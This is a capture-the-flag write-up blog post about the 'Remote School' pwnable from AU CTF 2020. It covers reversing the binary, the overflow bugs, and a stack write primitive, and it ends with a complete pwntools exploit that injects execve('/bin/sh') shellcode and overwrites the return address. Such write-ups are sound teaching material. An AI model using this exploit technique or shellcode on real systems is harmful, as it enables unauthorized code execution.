Blog

Remote School - AU CTF 2020

4/6/2020

Hey all, I am Maxwell Dulin (also go by Strikeout). I am a Security Consultant in Seattle who graduated from college a little less than a year go. I play with the OpenToAll CTF team, which has a fantastic community! The Slack channel is a great place to ask questions about any field with lots of smart people to answer. Additionally, we have an internal Wargame site that is awesome for learning! Finally, this is Open To All , meaning that you (yes you!) can join. For more information, go to our registration site: here.

Overview

This challenge was part of the 2020 Auburn CTF. This was a high (965) point pwnable challenge. The pwnable is an online school system. The challenge had the following options:

  • help
  • attend <class>
  • study <class>
  • list
  • stats
  • grades
  • quit
Additionally, there are two allowed classes: CompSci and Algebra.

Binary/Env

This was a 32-bit binary, which had all but PIE disabled. So, the binary had no stack canaries and executable stack(Nx). Additionally, the challenge mentions that ASLR is turned off. Because NX is turned off, we can expect to write some shellcode in the challenge.

Reversing

I popped this into Ghidra and went to work! This program was quite weird to reverse. With jump tables all over the place this was not a trivial program to understand. Understanding all of the jump tables and misdirection was not needed in order to get the flag. But, I went down several rabbit holes before eventually finding the solution.

The first thing I always look for is the main function in order to see all of my options. I rename all of the functions and variables in order to make reversing easier.

The first major reversing discovery that I found was that there was a third class: Hacker. Studying for this class worked exactly the same as before. However, the attend option provided a significantly different option compared to the other classes. This code crashes before returning, but leaks a Stack address for us prior to crashing.

The wargame has a system where you study then take tests to get better grades. Each test that you take is added to an array that is class specific. The players IQ, index of the next test and overall grades were also stored in this data structure (per class).

Bugs

Heap Buffer Overflow

The class name for studying and attending has a dynamically allocated (with malloc) buffer of size 4. This buffer can be overflown, leading to a corruption of the Top Chunk. However, because of the lack of usage (2 malloc's of 4 bytes and 2 frees) this did not seem exploitable.

Unlimited Amount of Tests

Although the length of the test array is limited (although, very large at 8192 in size), this was an overflow of the buffer! What was directly above the buffer? The index, that calculated the location for the next test to be written. In conjunction with the editable function tables, this looked to be a good lead but failed (explained later in the article).

Stack Based Buffer Overflow

The main purpose of the test function (shown to the left/above) is to print the address of stack variable. So, we get a nice memory leak from this! But, there is more to this function. The buffer is of size 2048. The strncpy allows writes of up to 0x808 (2056) bytes! So, there is a clear buffer overflow within this code. This buffer overflow is 8 bytes, which overflows the two other variables in this scope! One variable (write_to) is dereferenced then written to, while the other (data) has its data written to the first variables address. Essentially, we have a write-primitive.

Exploitation

With a write-primitive and a memory leak, it was time to take complete control of the program.

In order to get the write-primitive, we need to write 2048 bytes to the buffer. Then, the next four bytes are the data being written. Finally, the last four bytes are the location being written to. The following Python code works well as a POC for this: "A" * 2048 + "data" + p32(some_address).

Where

Where is a good place to write to? The address of the return pointer of this function. This is only 4 bytes above the current stack leak. So, we overwrite this value in order to redirection code execution.

What

Remember that there is an executable stack? In order to gain code execution, let's write some shellcode and jump to this location! The best place to put this is a large buffer that we can control. This could either be the name entered at the beginning of the game or the previous buffer that we just wrote above.

Shellcode

Honestly, after writing so much shellcode I just copied some shellcode from here. If you have never written your own shellcode, I feel that understanding this is a must. But, otherwise, it can be a nuisance to write yourself.

This easily pops a shell and you just print the flag! Note: there is a function called print_flag that just prints the flag for you. Instead of writing the shellcode, a leak of the memory address could have been used in order to get the flag this way too.

Another Option (Original Plan)

The original way I thought about doing this was to exploit bug #2 (unbounded writes on array). My thought process was as following:
Overwrite the index (for the next test score to be written) with a test score. This test score would be indexed to point to a function pointer. Then, on the next test score, overwrite this jump table pointer with a stack address to achieve code execution.

However, the scores on the tests were just too negative with such a large IQ (which was mandatory). So, this resulted in a situation where it was impossible to write to another location in memory without getting a segfault However, I think there is another way!

Another Way - Integer Overflow

The test scores were very small negative numbers at the beginning. Slowly, the negative numbers become larger and larger, as the IQ increases. So, is there a way around this?

YES! It is possible to study enough to overflow the IQ! This overflow would then allow for an easier control of the negative indexing, allowing for a specific write to either a PLT/GOT entry or a Jump table entry.

Sadness - Too Little Time

Causing this overflow would have taken most of a day in order to cause. From there, some luck was involved in ensuring that the tables were overwritten in just the right way.

Although this plan did not work out as expected, it was an interesting item to consider! In a real world scenario, waiting for the better part of a day might be what the exploit needs. Considering all the options is important in exploit development.

Conclusion

Pwn is a blast! Sometimes, it just takes a while to see the exploitable bug and have all the pieces together. The code, written in Python with pwntools, is below:

Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import * 
import os

mode = 'DEBU'
domain = 'challenges.auctf.com'
port = '30013'

# Binary setup
elf_name = 'online'
libc_name=''

elf = ELF(elf_name)

if libc_name != '': 
	libc = ELF(libc_name)
	env = {"LD_PRELOAD": libc.path}
	
# Note: The stack value is unique to the env. So, I put this as a configuration variable.

# Process creation 
if mode == 'DEBUG': 
	p = process(elf.path)
	#context.terminal = ['tmux', 'sp', '-h']
	gdb.attach(p) 
	stack_value = 0xffff8dc8

else: 
	p = remote(domain, port) 
	stack_value = 0xffff9bb8



def study(program): 
	p.sendlineafter("[? for menu]", "study " + str(program))
	return 

# Return true if a test happened. 
# False otherwise
def attend(program, hacker_option=''): 
	p.sendlineafter("[? for menu]:","attend " + str(program))
	
	if(program == "Hacker"): 
		p.sendlineafter("Welcome!",hacker_option)	
		return 
	
	# Everyone elses option
	recv = p.recvuntil("What should we do?") 
	if("You got a" not in recv):
		return False 
	
	split = recv.split("You got a")[1]
	split = split.replace("\n","")
	return True

def init(name):
	p.sendline(str(name))

## Shellcode
init("\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

# First item is the item TO write. We are setting this to the location of the name at the beginning, which has the shellcode
# Second item is the item of WHERE to write. This is the return address of the current function
attend("Hacker", "B" * 0x800 + p32(stack_value + 0x2128) + p32(stack_value + 4))

p.interactive()